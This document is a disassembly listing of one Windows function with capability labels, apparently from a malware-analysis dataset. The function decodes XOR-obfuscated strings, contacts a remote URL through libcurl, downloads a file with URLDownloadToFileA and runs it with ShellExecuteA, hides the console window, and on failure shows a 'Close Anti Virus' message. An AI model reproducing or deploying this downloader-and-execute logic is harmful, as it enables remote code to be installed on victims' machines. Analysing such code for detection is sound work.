Function at 0x140004ff0
Capabilities:
Create process on windows
Download url
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
sub rsp, 0x440
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov rbx, rax
test rax, rax
je 0x1400059ef
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
movdqa xmm1, xmmword [0x14000ec40]
movdqu xmmword [rbp + 0x1d8], xmm1
mov byte [rbp + 0x1c8], 0
movabs rax, 0xe27851a6625d706d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs rax, 0xf4ef8da1f86cd11a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs rax, 0xcebd8fe88d177ee9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs rax, 0x3dd41c39345ab413
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x7eff33c99d93958a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs r12, 0x720273585833dc1e
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
movabs r14, 0xcd576bd512290405
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
movabs rdi, 0x9a86efc48c1fb06a
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs r15, 0xb9dcfdc7e0781dc7
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x2d0], rax
movabs rsi, 0xfa3566e770af73c
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2d8], rax
movabs rax, 0x7eff33c99d9395c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
vmovdqu ymm0, ymmword [rbp + 0x140]
vpxor ymm1, ymm0, ymmword [rbp + 0x2c0]
vmovdqa ymmword [rbp + 0x140], ymm1
vmovdqa xmm0, xmmword [rbp + 0x160]
vxorps xmm0, xmm0, xmmword [rbp + 0x2e0]
vmovdqa xmmword [rbp + 0x160], xmm0
lea r8, [rbp + 0x140]
mov edx, 0x2712
mov rcx, rbx
vzeroupper
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [0x140003d30]
mov edx, 0x4e2b
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea r8, [rbp + 0x1c8]
mov edx, 0x2711
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_perform]
test eax, eax
jne 0x140005a1f
mov dword [rbp + 0x180], eax
lea r8, [rbp + 0x180]
mov edx, 0x200002
mov rcx, rbx
call qword [sym.imp.libcurl.dll_curl_easy_getinfo]
cmp dword [rbp + 0x180], 0xc8
jne 0x140005ce2
movabs rax, 0xe27851a6625d706d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xf9f586a0a271d409
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xdaf28db7811c6fa8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x6cc2221a16259a53
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x4fd040bdf3f6f8a1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x4a304768690bee2c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x13ec54db777f3eff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0x85e360f0a54019d7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
movabs rax, 0x1a73d59988613d7c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
movabs rax, 0xc25c4ae8c22f14c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x9ed92d51ed2b10e7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x24f428b06084433b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
movabs rax, 0x9d423fe7026deef5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
movabs rax, 0x773a88a662ee11f0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
movabs rax, 0xc2ed9070cbeb3335
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
movabs rax, 0xc1aeff790d2dfa7d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
movabs rax, 0x92b54867d6d519a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x164a7e1017fd00ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x5a1beac20730f8b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0xf98c04a769edaaa9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x423719d97167561
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0x407836b947136097
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rax, 0xfa29793d5aabf5eb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
movabs rcx, 0xd0e599f2daf973f0
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0x7eff33c99d9395c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0x23d965eb4f460fcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
movabs rax, 0xb4db52c2946f28e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rax, 0x2d41e3adb0580f4d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0xa1737edcf41d2cf2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xfba1487f8648758f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x45c61e865dfc2604
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0xa03156c13a588d91
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs rax, 0x4f0fbf905adf27c6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs rax, 0xf4d5a943f6865b13
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rax, 0xa49e991a3f1ace48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
movabs rax, 0xabd77a05b3e67c95
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x777c4a74759e64fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x6c23daf76304cad7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xc1ea339e5cdc98cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0x314610f9f5244659
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x244950887f2102ae
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xfa29791b6fcd96db
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x320]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x340]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x360]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x120], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x1a8], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x1b8], xmm1
lea rax, [rbp + 0x80]
mov rbx, 0xffffffffffffffff
mov r8, rbx
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005760
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x1a8]
call fcn.1400088c0
nop
movabs rax, 0xbe250ea647753e46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xc6e586a8ee6ae036
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xc1b9d3ac831d75a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0xfa3566e770af759
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x300]
vmovdqa ymmword [rbp + 0x60], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x188], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x198], xmm1
lea rax, [rbp + 0x60]
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005843
mov r8, rbx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x188]
call fcn.1400088c0
nop
lea r8, [rbp + 0x188]
cmp qword [rbp + 0x1a0], 0xf
cmova r8, qword [rbp + 0x188]
lea rdx, [rbp + 0x1a8]
cmp qword [rbp + 0x1c0], 0xf
cmova rdx, qword [rbp + 0x1a8]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movabs rax, 0xbe250ea647753e46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xc6e586a8ee6ae036
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xc1b9d3ac831d75a4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xfa3566e770af759
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
movabs rax, 0xcd576bd57c4c746a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x2a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x2a8], rax
vmovdqa xmm0, xmmword [rbp + 0x40]
vxorps xmm0, xmm0, xmmword [rbp + 0x2a0]
vmovdqa xmmword [rbp + 0x40], xmm0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x40]
xor ecx, ecx
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x140005af3
mov r9d, 0x40
lea r8, str.Error
lea rdx, str.Close_Anti_Virus
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.14000c350
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xaa3819a5324c6c51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xf4a69cadac72d118
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xd5b59cb1815869a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xfa356401266955d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rdx, [rbp + 0x200]
vzeroupper
call fcn.140008230
call fcn.1400048a0
nop
movabs rax, 0x9f114b81406c4844
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0xdbc0b785c13ffd25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xb9dcfdc7e078588c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm1
movabs rax, 0xba771eba6b096b41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xbae39cb1ac6bde0b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0xcaaf9cb7991a3da6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x6d83330b056cac1c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
movabs rax, 0x7ea256bcf1f1b5b0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x280], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x288], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x7eff33c99d9395c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x260]
vmovdqa ymmword [rbp + 0x260], ymm1
vmovdqa xmm2, xmmword [rbp + 0x280]
vxorps xmm2, xmm2, xmmword [rbp + 0x240]
vmovdqa xmmword [rbp + 0x280], xmm2
mov r9d, 0x30
lea r8, [rbp + 0x20]
lea rdx, [rbp + 0x260]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.1400048a0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xaa3819a5324c6c51
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xf4a69cadac72d118
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0xd5b59cb1815869a8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xfa356401266955d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x200], ymm1
lea rdx, [rbp + 0x200]
vzeroupper
call fcn.140008230
call fcn.1400048a0
int3